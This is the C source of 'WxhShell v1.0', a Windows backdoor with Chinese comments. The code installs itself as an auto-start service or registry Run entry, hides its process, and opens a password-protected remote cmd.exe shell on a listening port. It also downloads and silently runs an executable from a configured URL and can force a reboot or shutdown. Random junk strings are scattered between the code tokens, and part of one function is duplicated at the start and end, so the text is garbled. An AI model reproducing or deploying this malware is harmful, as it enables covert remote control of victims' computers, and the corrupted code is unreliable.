?.Iau/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m8M2ka NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <14,xYpE t&|M@Ouet if (!NtQueryInformationProcess) return 0; QguRU|y )/4eT\ = hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3oD?e if(!hProcess) return 0; %!P^se RJ}%pA4I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <&w(%<; ;OC~,?O5 CloseHandle(hProcess); Q9T/@FX wFbw3>'a9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <S[]VXy if(hProcess==NULL) return 0; up _Qv#`Q j(aok5:e HMODULE hMod; T-MC|>pv char procName[255]; \B/!}Tn; unsigned long cbNeeded; M=rH*w{^ ]?p 9)d=%< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %"[`
#(pY~\ CloseHandle(hProcess); o|7ztpr itYTV?bd if(strstr(procName,"services")) return 1; // 以服务启动 m!Y4+KTwD` H8!;
XB return 0; // 注册表启动 op8[8pt% } !)r1zSY"g iQd,xr // 主模块 D( \c?X" int StartWxhshell(LPSTR lpCmdLine) .n\j<Kq { 1S{AGgls5 SOCKET wsl; z( !K8
T BOOL val=TRUE; 5ho!}K int port=0; >mAi/TZC struct sockaddr_in door; tD^$}u6 YMG~k3Yb if(wscfg.ws_autoins) Install(); qtR/K=^i f|+aa6hN
port=atoi(lpCmdLine); j{$2.W$ }'`iJb\ if(port<=0) port=wscfg.ws_port; fK/|0@B8 u> @@ WSADATA data; <D`VFSEJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T`$!/BlZ uqHI/4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xk>YiV",? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L#k`>Qn2 door.sin_family = AF_INET; W0+m A door.sin_addr.s_addr = inet_addr("127.0.0.1"); <SKzCp\ door.sin_port = htons(port); bZ SaL^^( k0bDEz.X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6s.>5}M!
closesocket(wsl); Ghf/IXq# return 1; (z.4er}o } b"JX6efnN &gdhq~4# if(listen(wsl,2) == INVALID_SOCKET) { Y52TC@' closesocket(wsl); [R0E4A?M return 1; Ba}<X;B } } .+A2\F.^ Wxhshell(wsl); o?|
]ciY WSACleanup(); GL-Pir nN%Zed2O@6 return 0; Pi5($cn SG@E*yT1 } fq?MnWc =))VxuoN // 以NT服务方式启动 (DQ ]58& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) miUjpXt { P`L, eYc DWORD status = 0; ePo ::: DWORD specificError = 0xfffffff; *&BS[0; rVM?[_'O serviceStatus.dwServiceType = SERVICE_WIN32; quL+UFuM serviceStatus.dwCurrentState = SERVICE_START_PENDING; /5Tp)h| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PiJ>gDx serviceStatus.dwWin32ExitCode = 0; \C kb: serviceStatus.dwServiceSpecificExitCode = 0; M@ =VIrX,m serviceStatus.dwCheckPoint = 0; _/z3QG{Ea^ serviceStatus.dwWaitHint = 0; GK&R,q5} R4%}IT^%P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )mu[ye"p if (hServiceStatusHandle==0) return; BIxjY!!" m\f}?t status = GetLastError(); Ksf f]##H if (status!=NO_ERROR) UT%?3}*u" { .#{m1mr serviceStatus.dwCurrentState = SERVICE_STOPPED; xM:9XhH1 serviceStatus.dwCheckPoint = 0; O ]!/fZ;( serviceStatus.dwWaitHint = 0; :yFmCLZaQ serviceStatus.dwWin32ExitCode = status; l.uW>AoLh serviceStatus.dwServiceSpecificExitCode = specificError; 5ajd$t SetServiceStatus(hServiceStatusHandle, &serviceStatus); tHmV4 H$ return; =`g@6S } x"~gulcz *?~&O.R" serviceStatus.dwCurrentState = SERVICE_RUNNING; ]--"
K{ serviceStatus.dwCheckPoint = 0; TFO4jjiC" serviceStatus.dwWaitHint = 0; !i8'gq'q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <O3,b:vw } WesEZ\V AGV+Y6 // 处理NT服务事件,比如:启动、停止 om{aws; VOID WINAPI NTServiceHandler(DWORD fdwControl) o&RNpP* { A5^tus/y switch(fdwControl) E*s8 nQ" { c,Yd#nokC case SERVICE_CONTROL_STOP: jm0v=m7 serviceStatus.dwWin32ExitCode = 0; |$D`* serviceStatus.dwCurrentState = SERVICE_STOPPED; 7g.3)1 serviceStatus.dwCheckPoint = 0; RA*W Ys&xb serviceStatus.dwWaitHint = 0; ei!Yxw8d { !h70 <Q^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X< 4f7;]O } tY- `$U@ return; aucG|}B
case SERVICE_CONTROL_PAUSE: %
U|4%P serviceStatus.dwCurrentState = SERVICE_PAUSED; [orS-H7^ break; Xcb'qU!2-^ case SERVICE_CONTROL_CONTINUE: {YIf rM serviceStatus.dwCurrentState = SERVICE_RUNNING; 2h#_n'DV break; 5GwzG<.\^_ case SERVICE_CONTROL_INTERROGATE: bE1@RL break; H'?dsc }; !Q=xIS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^oDSU7j5, } UF;iw zXGi // 标准应用程序主函数 k3UKGP1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zhVkn]z~* { Qsg([K wZb77 // 获取操作系统版本 Qq<+QL | OsIsNt=GetOsVer(); /JQY_>@W GetModuleFileName(NULL,ExeFile,MAX_PATH); "]hQ\b\O w">-r}HnJ // 从命令行安装 Y\j5{;V if(strpbrk(lpCmdLine,"iI")) Install(); u&r+ylbsI 6tN!] // 下载执行文件 QygbfW6u if(wscfg.ws_downexe) {
K2D,
*w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =6xxZy[ WinExec(wscfg.ws_filenam,SW_HIDE); wY*tq{7 } aK]H(F2# "p"~fN
/I9 if(!OsIsNt) { lx&;?QQ // 如果时win9x,隐藏进程并且设置为注册表启动 \s_`ZEB HideProc(); @(any^QJ StartWxhshell(lpCmdLine); dCO)"] } gUrXaD# else a[7Lqu if(StartFromService()) A;7At!kK // 以服务方式启动 tjbI*Pw7( StartServiceCtrlDispatcher(DispatchTable); Bn5$TiTcl else J'@`+veE // 普通方式启动 ,rWej;CzN StartWxhshell(lpCmdLine); `Zd\d:Wyv 2py
[P return 0; }\]J?I+ A } F~x>\?iN c3C<P CYZ0F5+t n0opb [ ? =========================================== 0l2@3}e fu{.Ir ~c${?uf {J]x81}*; 6Jd.Eg ~A7 17+2`@vJgM " \pVWYx yc.9CTxx #include <stdio.h> 18o5Gs;yx #include <string.h> 'L8B"5|> #include <windows.h> rfYFS96 #include <winsock2.h> &nfGRb #include <winsvc.h> L[O.]2 #include <urlmon.h> -HUlB|Q8r zA*I=3E( #pragma comment (lib, "Ws2_32.lib") e<r}{=1w #pragma comment (lib, "urlmon.lib") T[eb< !EB[Lutm #define MAX_USER 100 // 最大客户端连接数 #9(L/)^ #define BUF_SOCK 200 // sock buffer ,g:\8*Y>' #define KEY_BUFF 255 // 输入 buffer 8"C[sRhz #pr{tL #define REBOOT 0 // 重启 y\zRv(T= #define SHUTDOWN 1 // 关机 wMU}EoGS? N_R(i3c6U! #define DEF_PORT 5000 // 监听端口 -p[!CI aW(Hn[}^ #define REG_LEN 16 // 注册表键长度 G }U'?p #define SVC_LEN 80 // NT服务名长度 Rv)>xw +|zcjI'=O // 从dll定义API ,O`~ D~$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nP#|JRn= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >WmTM0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1XJLGMW, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wph@LRB] mH/9J
// wxhshell配置信息 Z^O_7I<5E struct WSCFG { wOF";0EN int ws_port; // 监听端口 Zx 5Ue#I char ws_passstr[REG_LEN]; // 口令 t>JPK_b0 int ws_autoins; // 安装标记, 1=yes 0=no `w EAU7m: char ws_regname[REG_LEN]; // 注册表键名 Z Z9D6+R char ws_svcname[REG_LEN]; // 服务名 Uq^-km#a char ws_svcdisp[SVC_LEN]; // 服务显示名 L'r gCOJ< char ws_svcdesc[SVC_LEN]; // 服务描述信息 UB,:won char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a}[ 1*_G int ws_downexe; // 下载执行标记, 1=yes 0=no @k3xk1* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /<Yz;\:Jy char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NM4b]> +AYB0`X) }; bz|-x"qk dT'd C // default Wxhshell configuration ?XB[awTD~ struct WSCFG wscfg={DEF_PORT, R_2T" "xuhuanlingzhe", tFu"h1 1, nWFU8u% "Wxhshell", IM=3n%6 "Wxhshell", ;3Z6K5z*f "WxhShell Service", !dGSZ|YZ "Wrsky Windows CmdShell Service", Ft 6{g
JBG "Please Input Your Password: ",
>8.o 1, _:~I(c6 "http://www.wrsky.com/wxhshell.exe", >o )v "Wxhshell.exe" dzs(sM= }; #H.DnW &9F(C R // 消息定义模块 _m*FHi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mq52B_ char *msg_ws_prompt="\n\r? for help\n\r#>"; cjwc:3
CM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,racmxnv char *msg_ws_ext="\n\rExit."; kV:T2}]|H char *msg_ws_end="\n\rQuit."; UZx8ozv' char *msg_ws_boot="\n\rReboot..."; bPVQ- char *msg_ws_poff="\n\rShutdown..."; v /x~L$[ char *msg_ws_down="\n\rSave to "; R3hyz~\x& PauF)p char *msg_ws_err="\n\rErr!"; |OBh:d_B] char *msg_ws_ok="\n\rOK!"; DC(u,iW%6
B6.9hf char ExeFile[MAX_PATH]; \k.W
F|~ int nUser = 0; "ifv1KZ# HANDLE handles[MAX_USER]; C9^C4
int OsIsNt; _*fOn@Vwo $LW8 vo7 SERVICE_STATUS serviceStatus; I6Ga'5bV SERVICE_STATUS_HANDLE hServiceStatusHandle; Hv-f :P O Dbw{E:pq // 函数声明 D\^\_r): int Install(void); `rb}"V+ int Uninstall(void); *9tRhRc int DownloadFile(char *sURL, SOCKET wsh); `oOVR6{K9 int Boot(int flag); s y>}2orj~ void HideProc(void); `Ha<t. v( int GetOsVer(void); c]68$;Z7 int Wxhshell(SOCKET wsl); 0SV4p. void TalkWithClient(void *cs); "P a y2 int CmdShell(SOCKET sock); b=XXp`h~a int StartFromService(void); 11?d,6Jl int StartWxhshell(LPSTR lpCmdLine); #oJ%i+V =[LUOOR*] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 `}I] VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ru@ { b` -8Hv3J'= // 数据结构和表定义 n!&F%|o^^ SERVICE_TABLE_ENTRY DispatchTable[] = *K;s*-|U { Igh=Z % {wscfg.ws_svcname, NTServiceMain}, Y3O/`-9i {NULL, NULL} rw.DKM' }; rIeOli:< LC})aV| // 自我安装 t6Nkv;)>@ int Install(void) (?1/\r { i-,_:z=J char svExeFile[MAX_PATH]; yb) a HKEY key; [F+*e=wjN> strcpy(svExeFile,ExeFile); o^W.53yX ,j(S'Pw // 如果是win9x系统,修改注册表设为自启动 T
3<2ds if(!OsIsNt) { ;s?,QvE{r# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tHV+#3h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f&!{o= RegCloseKey(key); y wmC>`0p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [:8+ +#KD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ),XDY_9K RegCloseKey(key); rmeGk&*R8 return 0; v)JS4KS } !q 9PO } RV),E:? } xwojjiV else { oZ>2Tt% Rw^X5ByJE // 如果是NT以上系统,安装为系统服务 (}
wMU]!_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BG/RNem if (schSCManager!=0) -nqq;|% { <3laNk SC_HANDLE schService = CreateService ]/7#[ ( >
1=]. schSCManager, t'[`"pp= wscfg.ws_svcname, ~z'Y(qG wscfg.ws_svcdisp, H`
h]y SERVICE_ALL_ACCESS, h/]));p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gP`CQ0t SERVICE_AUTO_START, d "25e"(~F SERVICE_ERROR_NORMAL, S5[}kfe svExeFile, 7A^L$TY NULL, w d6+,B NULL, 4e?MthJ> NULL, p8MN>pLP%
NULL, 9\>{1"a NULL Sb^o`~ Eh ); ^1bM=9]F0 if (schService!=0) XA\wZV
|{ { ?u>A2Vc! CloseServiceHandle(schService); )!Zm*( CloseServiceHandle(schSCManager); lsU`~3nr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { a_&L strcat(svExeFile,wscfg.ws_svcname); i93^E~q] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |eqp3@Y1E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bw>)gSB5$k RegCloseKey(key); ?8YbTn1f) return 0; ijmGk:L( } _|7bpt9 } mXI'=Vo!S CloseServiceHandle(schSCManager); 6L3i
} NXOcsdcZu } ;)z+dd#3 *2
~"%"C return 1; $pauPEe } (};/,t1#$ R]0tG
// 自我卸载 (3&P8ZGNR int Uninstall(void) x5b .^75p$ { ))I[@D1b HKEY key; akzKX} H__'K/nH+ if(!OsIsNt) { i4mP*RwC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JtxitF2 RegDeleteValue(key,wscfg.ws_regname); ucFfxar" RegCloseKey(key); =lL)g"xX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w,LB RegDeleteValue(key,wscfg.ws_regname); cG{ RegCloseKey(key); tNljv >vI return 0; ])?[9c } |CPyCM$ } mpD[k9`x# } r |2{(+ else { c"P:p%\m&u S}6xkX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T}Wse{ if (schSCManager!=0) !UHX?<3r { yeA]j[ # SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fa!8+kfi if (schService!=0) >^D5D%" { FY
pspv?4 if(DeleteService(schService)!=0) { V^_U=Ed@M CloseServiceHandle(schService); #lF 2qw CloseServiceHandle(schSCManager); WTu!/J<\ return 0; 0B"_St}3D } w!OYH1ds]_ CloseServiceHandle(schService); uCc5) } &.JJhX CloseServiceHandle(schSCManager); vJe c+a } gUme({h&| } oiQ:&$y 'ql<R0g return 1; XW:%YTv } BOv ^L?)*Z WQMoAPfqL // 从指定url下载文件 <4TF ]5 int DownloadFile(char *sURL, SOCKET wsh) b?:?" { G-'CjiMu HRESULT hr; izR#XeBm char seps[]= "/"; b{;LbHq+G char *token; $Km~x char *file; x M{SFF char myURL[MAX_PATH]; 7{38g char myFILE[MAX_PATH]; iyr<qtwK Zi<(>@z2 strcpy(myURL,sURL); DuIgFp token=strtok(myURL,seps); ~|{_Go{
Q while(token!=NULL) |{La@X { `t+;[G>ZE file=token; XI"IEwB token=strtok(NULL,seps); 4GS:kfti } I>lblI$7 37*2/N2 GetCurrentDirectory(MAX_PATH,myFILE); X39%O' strcat(myFILE, "\\"); A@e!~ strcat(myFILE, file); u/%Z0`X send(wsh,myFILE,strlen(myFILE),0); a\KM^jrCD send(wsh,"...",3,0); cCcJOhk|d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j9.%(* if(hr==S_OK) iYGa4@/uM return 0; r|y\FL else n<ecVFft return 1; E5\>mf
,;u 2Hk21y\
} oSl}A,aQ( [d=BN ,? // 系统电源模块 |}@teN^J*U int Boot(int flag) bVr`a*EM { lU.aDmy< HANDLE hToken; HBA|NV3. TOKEN_PRIVILEGES tkp; sn+ kFvk}S o;>qsn8 if(OsIsNt) { +ZkJ{r0,( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IiV]lxiE] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QT4vjz+| tkp.PrivilegeCount = 1; 6t gq.XL^n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a!.Y@o5Ku AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k=X)axt1 if(flag==REBOOT) { q[x|tO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *r ('A return 0; XII',& } rd,!-w5 else { )"%J~:`h} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) **c"}S6:mC return 0; "ZuA._ } \"d\b><R } uCgJF@ else { be [E^% if(flag==REBOOT) { i]& >+R<6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L;=LAQ6[ return 0; 4^!%>V"d/ } |#Q0UM|'Q else { EmyE%$*T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1w+)ne_& return 0; gFXz:!A } 31N5dIi, } f n8|@)J /xd|mo)D return 1; cDz^jC } C1OiM b(: c=re( // win9x进程隐藏模块 3pyE'9"f6 void HideProc(void) 4W=fQx] { P.djR)YI JO~62='J HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); azG"Mt|7Z if ( hKernel != NULL ) b]*OGp4]5 { }\1IsK~P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o'? WWJK6w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )ib$*dmUP FreeLibrary(hKernel); QFFFxaeJg } ^ZFK:|Ju -4obX return; 2` Ihrz6 } k|$?b7)"@ bpa'`sf // 获取操作系统版本 6cOlY=
bn int GetOsVer(void) m14'u GC { <VhD>4f{] OSVERSIONINFO winfo; UDPn4q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h r6?9RJY GetVersionEx(&winfo); (UZ].+)s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sx1OY0)s return 1; KLjvPT\ else
|{MXDx return 0; V/RV,K1/ } ^JGwCHeb|H H!|g?"C // 客户端句柄模块 aJ[|80U int Wxhshell(SOCKET wsl) KfQ?b_H. { Lzx2An@R SOCKET wsh; T&j:gg struct sockaddr_in client; pk6<wAs*?# DWORD myID; A>)Ced! RQ4+EW1G while(nUser<MAX_USER) |gU)6}V@ { CD4@0Z+ int nSize=sizeof(client); Z_mQpt|y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [EK@f,iM if(wsh==INVALID_SOCKET) return 1; 83VFBY2q R`,|08E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .etG>tH if(handles[nUser]==0) VFKFO9 closesocket(wsh); D58RHgY[ else 6_K7!?YG7 nUser++; AB<%GzW0( } w"L]?# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #X0Xc2}{f _/YM@%d return 0; xl9S=^`= } tjQ6[` dV
/Es // 关闭 socket .UvDew/Y void CloseIt(SOCKET wsh) u(8dsgR { 6#ktw)e closesocket(wsh); MjK<n[. nUser--; 4~2 9, ExitThread(0); t_+owiF)M } B_RF)meux &ViK9 // 客户端请求句柄 i?,\>LTG void TalkWithClient(void *cs) .R^ R|<x { iu2O/l#r Z:diM$Z?7 SOCKET wsh=(SOCKET)cs; d+"F(R9 char pwd[SVC_LEN]; _>3#dk char cmd[KEY_BUFF]; $"va8, char chr[1]; qRq4PQ@ int i,j; En4!-pWHQ O\h%ZLjfO while (nUser < MAX_USER) { f`8?]@y{ B;nIKZ if(wscfg.ws_passstr) { B7sBO6Z$J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -fN5-AC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 40[@d //ZeroMemory(pwd,KEY_BUFF); 0a1Mu>P, i=0; 0v``4z2Z while(i<SVC_LEN) { @X P_~ N .pH 4[~ // 设置超时 /?a9g>G%N fd_set FdRead; aO2zD<d struct timeval TimeOut; 9%riB/vkrF FD_ZERO(&FdRead); QHd|cg FD_SET(wsh,&FdRead); =F_j})O5 TimeOut.tv_sec=8; Ox@$ } TimeOut.tv_usec=0; !E,|EdIr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7/K'nA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n*TKzn4E SZ:R~4 A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zoBp02j pwd=chr[0]; r4fd@<=g if(chr[0]==0xd || chr[0]==0xa) { g[;&_gL pwd=0; ;u<F,o( break; "V5_B^Gzb] } m8INgzVTC i++; - %?>1n } C#P>3" bAUYJPRpy // 如果是非法用户,关闭 socket ,^jQBD4={ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U
!%IC7@ } Nh !U 4tSh.qBht send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \w-3Spk* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oG-Eac, pp2 Jy{\d while(1) { rddn"~lm1 v!=e]w6{ ZeroMemory(cmd,KEY_BUFF); Z1p%6f` w9Nk8OsL // 自动支持客户端 telnet标准 ;CuL1N#I j=0; G]dHYxG while(j<KEY_BUFF) { e~nh95 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I<"UQ\) cmd[j]=chr[0]; iZ0(a if(chr[0]==0xa || chr[0]==0xd) { |w -s{L3@+ cmd[j]=0; rEWuWv$ break; nN>Uh T } ob/HO(h3 j++; oWggh3eXk } dvglh?7d !:~C/B{ // 下载文件 QaXdO=3 if(strstr(cmd,"http://")) { [=:4^S|M send(wsh,msg_ws_down,strlen(msg_ws_down),0); N9vNSmm if(DownloadFile(cmd,wsh)) wQM( |@zE} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZIc-^&`r= else g^U-^f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a, `B.I } xscR Bx else { Z*(OcQ- bNoZ{ 7 switch(cmd[0]) { gL1r"&^L ObataUxQT // 帮助 @?</8;%3W case '?': { *48LQzc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1+l[P9?R[ break; ,S?:lQuK5 } $H6n gL // 安装 ]ed7Q3lq case 'i': {
F |_mCwA if(Install()) !_?HSDAj"n send(wsh,msg_ws_err,strlen(msg_ws_err),0); X*e:MRw[ else
)
urUaE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :]* =f]. break; o+\?E.%%g } UaHN*@ // 卸载 fUJe{C<H case 'r': { 5!6}g<z&L if(Uninstall()) f%REN3=5K send(wsh,msg_ws_err,strlen(msg_ws_err),0); GB}X else y;hco send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vVo# nzeZ5 break; 4 ijZQ } vmW`}FKW // 显示 wxhshell 所在路径 4Cvo^k/I case 'p': { "eI">`!g char svExeFile[MAX_PATH]; .o8pC strcpy(svExeFile,"\n\r"); sEx\7t K strcat(svExeFile,ExeFile); 9y)}-TcSpY send(wsh,svExeFile,strlen(svExeFile),0); L)Da1<O break; @2\UjEo~ } jQ(%LYX$ // 重启 [VouG{ case 'b': { x/ P\qI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D.h <!?E% if(Boot(REBOOT)) ]`}EOS-Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8vMBaU!qY else { ; d} closesocket(wsh); <q|eG\01S ExitThread(0); XsMETl"Av4 } =I+5sCF{g break; RP wP4Z } X<H+Z2d // 关机 ~>}7+p
?; case 'd': { A^F0}MYT send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +jp^ if(Boot(SHUTDOWN)) ur
k@v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` $[`C/h else { [+:KIW< closesocket(wsh); {1GIiP-U ExitThread(0); "~IGE3{ } nm<S#i* break; RY*s }f } ;fv/s]X86I // 获取shell =}W)%Hldr. case 's': { ralU9MN. CmdShell(wsh); ||4++84{ closesocket(wsh); y(Q.uYz* ExitThread(0); [_p&,$z8[ break; DzY`O@D[ } s06R~P4
// 退出 yMf["AvG case 'x': { AdRt\H < send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |CjdmQ u CloseIt(wsh); +@#-S break; AFNE1q;{\ } 1;+(HB // 离开 q5~fU$ , case 'q': { 1)M%]I4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]&L[] closesocket(wsh); 3a,7lTUuB WSACleanup(); hfQ^C6yR exit(1); wW^3/
break; ;p)fW/< } [kZe6gYP& } }-M%$~` } 1Q9eS& 79MB_Is]s // 提示信息 D5
^Wi Q< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Oe$)(`|h } L|w}#|- } MbC&u:@ "v {7o|*M return; [2ZZPY9?Q } HLDg_ On8 $RV'DQO // shell模块句柄 -ID!kZx int CmdShell(SOCKET sock) n15lX,FI { C`C$i>X7^ STARTUPINFO si; ]i:O+t/U ZeroMemory(&si,sizeof(si)); C)Hb= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~r>N si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1)=sbFtS PROCESS_INFORMATION ProcessInfo; orAEVEm char cmdline[]="cmd"; 2<5s0GT'/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NU|T`gP return 0; YQ<O.E } ]]bL;vlw dD"o~iEC // 自身启动模式 }!RFX)T int StartFromService(void) ,LJX { _p=O*$b. typedef struct K)t+lJ { }))JzrqAe DWORD ExitStatus; To19=,: DWORD PebBaseAddress; m/W)IG> DWORD AffinityMask; FA;uu\ DWORD BasePriority; lO0 PZnW9 ULONG UniqueProcessId; Z"G@I= Q( ULONG InheritedFromUniqueProcessId; KA$l.6&d } PROCESS_BASIC_INFORMATION; NFcMh+qnK
zWI C4: PROCNTQSIP NtQueryInformationProcess; AW:WDNQh8n { sL(PS.z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h+h`0(z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c~+l|r=u? ^++ec> HANDLE hProcess; efF>kcIC PROCESS_BASIC_INFORMATION pbi; O486:tF *.9.BD9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X+T
+y>ea if(NULL == hInst ) return 0; fhp][)g; ~;0J4hR g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pV^hZ. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =-dk@s NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \[w82%U B?r [| if (!NtQueryInformationProcess) return 0; nzHsyL M&iA^Wrs hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
T!N,1"r if(!hProcess) return 0; nAJ<@a <w d+cPZQr if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kiFTx
&gf sX,oJIt CloseHandle(hProcess); QeVM9br)m T6ajWUw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wg[ D*a if(hProcess==NULL) return 0; |PED8K:rU Ue<Y ~A HMODULE hMod; ~h{v^} char procName[255]; 3N,!y unsigned long cbNeeded; uiIY,FL$ qE` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w|>O!]K] &dkj |